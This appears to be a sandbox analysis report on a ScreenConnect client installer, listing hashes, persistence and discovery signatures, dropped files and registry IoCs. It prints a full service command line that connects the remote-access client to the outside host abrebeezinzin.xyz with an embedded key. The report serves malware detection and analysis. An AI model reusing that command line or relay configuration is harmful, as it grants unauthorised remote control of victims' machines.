Analysis
- max time kernel
123s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260629-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/07/2026, 00:24
Behavioral task
behavioral1
Sample
ScreenConnect.ClientSetup.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
23 signatures
150 seconds
Behavioral task
behavioral2
Sample
ScreenConnect.ClientSetup.exe
Resource
win11ltsc2024-20260629-en
windows11-ltsc_2024-x64
29 signatures
150 seconds
General
- Target ScreenConnect.ClientSetup.exe
- Size 5.4MB
- Sample260703-ap75vsg12s
- SHA256 c58d92c61aba135754eb49d4e089b24f9d1eb3ce7ebe47d4db7bf8af45849d9c
- MD5 745678d928423e185262289a1609e3af
- SHA1 dddc863f40dce9e5c824e160e2fffb1b0b9ffc98
- SHA512 3dc63e99e17e89636152df4920e64ad325a1d2b1d4da9136a8f794e71d8e3126d0f80f56068cecebce9056fb99401bf99a778d1675fcdbc67e5e8cbedbf57324
- SSDEEP 98304:SzIus6efPUIdoaxcp8wy5c3trGOlkQ5DUOgJ9zl:ShfefPtHxcp9ym3nltDUJV
- TLSH T1F746E101B3D695B6D1BF1638D87A52696734BC049316CBBF5394BD392E32BC04E323A6
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000\Software\Microsoft\Active Setup\Installed Components explorer.exe - Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (684198418d7763ed)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (684198418d7763ed)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=abrebeezinzin.xyz&p=8041&s=a6625f55-867e-4305-aca3-5a32b5af1c71&k=BgIAAACkAABSU0ExAAgAAAEAAQCVmzcqCAKrystBjav5INy3nfACdniSmk43hCACOQ7DNiVMvjc8Jx8vr8jlzPYkMMrGew3Q5pK6vp6NUK1Ej4sGz7VyjyMbhVGYi6Td6Q%2fKT%2bGBJJT6L596678%2bVSj%2bWOHPnSr08brJY1rcGbPhMgMuoIJQEEDeSItsh1%2b19oWj0FR5Pou817a1wtkP3MrlDuKyWU8SXdKOyWKQ3aV3kycBXNuVE%2fE7yVhg8PcyYjyRYlBPJq%2b397ryyeEOyFEC00zB5h6kZvHoysxOG1Qv70WemGYmoiDHwo32T%2fa%2bdVaiuBX9S4xj1WEQn8Z0Q0RGa%2b5JZ9xKPGF%2fSbO52kmftr3U&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAfWyMN0hJAUq5%2f%2fNR37w5CgAAAAACAAAAAAAQZgAAAAEAACAAAAC4JVOghJRiRs3fWK4V9Pn%2fPtM7UtRlPXTM8uFZoxiSCAAAAAAOgAAAAAIAACAAAAAnKiBveTO%2bOTr%2bOnczMXS0otI2WVyOIjPo59%2bGahdTYaAEAADmdKf8TXyt3o7KEF%2fAqKho9gNfUGGcY1DbrOh%2bDzDVlcAyulcAcZHZpIh44znq%2bMwE7%2bSR%2bTTpxrrXLsVO4mORMmGqM1fMcL6GnYhc6jXw0EfvffjNiZkx4GBVZBCqJCh8lhblkfi%2fjhwKXfRHhn1nQ9IkSTW1jTW68xuE7fbzvDoQ71GIce%2f4aghsPMgrG2yTGRj%2fGNxjNjrjQ1VgutVFgh2TXKPu1jZFPS5oZDtKYujKMmtKHqYD8a%2fIfYW0DsnvglUpI0OjH%2bMVje9DeHs9hIxO0gV%2btM8FXIkGYACEyGTHlSsqA%2fxHbBRruThV2ThablehFmPsQGIpGMXZV8pastjf%2bNpST934M3ZkpiNN%2fycadh7VY%2buro7ZCDXQwFDdEc9IuG%2fMsT2tPRE2%2b1tRJwU9vyy2xX1agL1YIqJMcgLpzdNEaSgpuCHb7Ovvu4CauRQRfVi%2bmxG4gU6C%2fBrtmx%2fkbjRyQQrx0lBYwuKyr9z2fBpLvWMKwHwNDC97HG%2felGl7AdmN%2b01b3I9kX1vTLBXBXCKN8heLsusuDkoDLwQtvO%2fFRjQRZnJQBU7liStqGqcT0ArNHUF%2f95VVpFEEc6Jvv%2b%2fQ%2btVnof9UIi%2fj1XAxprVYQ2Ka%2fl3B9n%2fAXSDTtyouyVxJI2pGue%2f90He1r4QGEz3qgJAs6035zi6z%2bW%2brdr0uVOadNPmqf%2bGyuj25b6PLEjwHhKRc1zRVH9vM7ARwvuy3nN9NvIEHyG3Q8zb8Ks2apjZcgW0S8847cyAtokA3lsF1%2bFlJTUrbpKdSucaCCsIiUJIpQ7Ah6QrDx4a76MXm9SOyHfqtYQDQjKb4zOzeDuqWBqvyPjnWb2P2zhHzSAQuYhJRwOpKJelwC9N3uODTH489%2f%2biEzLxc5%2bcLXFJinwwmG%2bCL9BB1DsBFfBE7HXztqZjPzcgMJpqxmdY65%2fHoYuZmrp%2f%2foRRUDJZ%2bzdTY%2b9eO3PI3zqIqY4XCb1CNnnNEqYd3MCLX%2bCr%2fqDHXp3WSz7Nq5FAG1mcKYSRTq0c1Kdjvc6eSdJ4PSR3wVZ8AtJWAeqDd1rd8gAAv5i5R8W%2f1T7aieUGSQrcXtZpwyNfmdoY%2bDBH00Gex32t97bmZ9XeLHT3BR2RBfdsx0LgDLuc7J37Bzv4wwyBqawujaquLbpOiGodrQ%2bkHZMoalk%2fgnzBM%2bhgyY5dYR0vLionBT1yuH1oyiuIAThT%2bInwt7itXVjochWUl9QAVroO0kCcPecNkYe2C7h5x%2bBS%2fkEfvLxvxrfDnsQLhvgeENz1plbDqMkFir3oWK%2bDxQOmhEzN0bHyv3Kp2cUJ9CWquwqi3UDU7BXbbjefpq8myh9wzMWyqBHvh5iFq0Wj6KiUlJhGEHvlXZ3hejBkP0NTEeLzwvYdu9U8NPagRj9YRmaPQAeGwc2KuVTQ5%2fbBbjzNaOocRENF8VnH9OqpPuqHYIzmxLLJZtZEPrlw8D8DnWRptlaS%2fsX3k5UcKv6TMTXXBU4SFEg9Xuzsa2PXy7svNT9mri3uUWv5d6CbQ80EJOWpdXt7paVIV6qIIlI4RJzL7F7gNB5URRnJ4B3Yu9zcduskAAAACgclySHGwR9PbQouy1Jt7x79UF%2f3f3nzyE8OFbsx0ah%2bSHAV33oU0ukuzZWVw7v7IcaWUku7dOTlhrCuKEpxKF\"" ScreenConnect.ClientService.exe - Signed with revoked ConnectWise certificate 5 IoCs
Binary is signed using a ConnectWise certificate revoked for key compromise.
resource yara_rule behavioral2/memory/5556-2-0x0000000005B20000-0x0000000005E12000-memory.dmp revoked_cert_connectwise behavioral2/files/0x000d00000001c52e-84.dat revoked_cert_connectwise behavioral2/files/0x000d00000001c52b-127.dat revoked_cert_connectwise behavioral2/memory/3356-128-0x0000000004260000-0x0000000004335000-memory.dmp revoked_cert_connectwise behavioral2/files/0x000d00000001c529-133.dat revoked_cert_connectwise - Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 4 IoCs
pid Process 4556 ScreenConnect.ClientService.exe 3356 ScreenConnect.ClientService.exe 4896 ScreenConnect.WindowsClient.exe 3756 ScreenConnect.WindowsClient.exe - Loads dropped DLL 30 IoCs
pid Process 988 MsiExec.exe 4824 rundll32.exe 4824 rundll32.exe 4824 rundll32.exe 4824 rundll32.exe 4824 rundll32.exe 4824 rundll32.exe 4824 rundll32.exe 4824 rundll32.exe 4824 rundll32.exe 3428 MsiExec.exe 3872 MsiExec.exe 4556 ScreenConnect.ClientService.exe 4556 ScreenConnect.ClientService.exe 4556 ScreenConnect.ClientService.exe 4556 ScreenConnect.ClientService.exe 4556 ScreenConnect.ClientService.exe 4556 ScreenConnect.ClientService.exe 3356 ScreenConnect.ClientService.exe 3356 ScreenConnect.ClientService.exe 3356 ScreenConnect.ClientService.exe 3356 ScreenConnect.ClientService.exe 3356 ScreenConnect.ClientService.exe 3356 ScreenConnect.ClientService.exe 3356 ScreenConnect.ClientService.exe 3356 ScreenConnect.ClientService.exe 4556 ScreenConnect.ClientService.exe 4556 ScreenConnect.ClientService.exe 3356 ScreenConnect.ClientService.exe 3356 ScreenConnect.ClientService.exe - Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\E: explorer.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\F: explorer.exe File opened (read-only) \??\D: msiexec.exe - Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs
Suspicious Windows Authentication Registry Modification.
description ioc Process Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800360038003400310039003800340031003800640037003700360033006500640029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000 msiexec.exe - Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (684198418d7763ed)\xefr5an5.tmp ScreenConnect.ClientService.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (684198418d7763ed)\xefr5an5.newcfg ScreenConnect.ClientService.exe - Drops file in Program Files directory 19 IoCs
description ioc Process File created C:\Program Files (x86)\ScreenConnect Client (684198418d7763ed)\ScreenConnect.ClientService.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (684198418d7763ed)\ScreenConnect.WindowsBackstageShell.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (684198418d7763ed)\ScreenConnect.WindowsClient.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (684198418d7763ed)\ScreenConnect.WindowsFileManager.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (684198418d7763ed)\ScreenConnect.ClientService.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (684198418d7763ed)\Client.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (684198418d7763ed)\Client.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (684198418d7763ed)\system.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (684198418d7763ed)\ScreenConnect.Core.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (684198418d7763ed)\ScreenConnect.WindowsCredentialProvider.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (684198418d7763ed)\app.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (684198418d7763ed)\ScreenConnect.Client.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (684198418d7763ed)\ScreenConnect.WindowsFileManager.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (684198418d7763ed)\Client.Override.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (684198418d7763ed)\ScreenConnect.Windows.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (684198418d7763ed)\ScreenConnect.WindowsAuthenticationPackage.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (684198418d7763ed)\ScreenConnect.WindowsBackstageShell.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (684198418d7763ed)\ScreenConnect.WindowsClient.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (684198418d7763ed)\Client.Override.resources msiexec.exe - Drops file in Windows directory 17 IoCs
description ioc Process File created C:\Windows\SystemTemp\~DFCF9778DB50463E33.TMP msiexec.exe File created C:\Windows\Installer\SourceHash{40B2B670-556C-8274-5729-0E5829AFF6D7} msiexec.exe File created C:\Windows\SystemTemp\~DFFFFB1FFAE8F61E58.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSI5EA1.tmp msiexec.exe File opened for modification C:\Windows\Installer\{40B2B670-556C-8274-5729-0E5829AFF6D7}\DefaultIcon msiexec.exe File created C:\Windows\Installer\e59577d.msi msiexec.exe File created C:\Windows\Installer\{40B2B670-556C-8274-5729-0E5829AFF6D7}\DefaultIcon msiexec.exe File opened for modification C:\Windows\Installer\e59577d.msi msiexec.exe File created C:\Windows\Installer\wix{40B2B670-556C-8274-5729-0E5829AFF6D7}.SchedServiceConfig.rmi MsiExec.exe File created C:\Windows\Installer\e59577f.msi msiexec.exe File created C:\Windows\SystemTemp\~DFA33724444667D8CD.TMP msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSI5EFF.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI624C.tmp msiexec.exe File created C:\Windows\SystemTemp\~DF31F70508B5A56D78.TMP msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
pid pid_target Process procid_target 4604 4556 WerFault.exe 102 - System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientSetup.exe - Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002 explorer.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000611f050cfb2bdaef0000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c0120000000000000000000000002701010000883801611f050c0000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e84101611f050c000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e3611f050c00000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e6611f050c00000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\UpperFilters explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Capabilities explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Capabilities explorer.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened 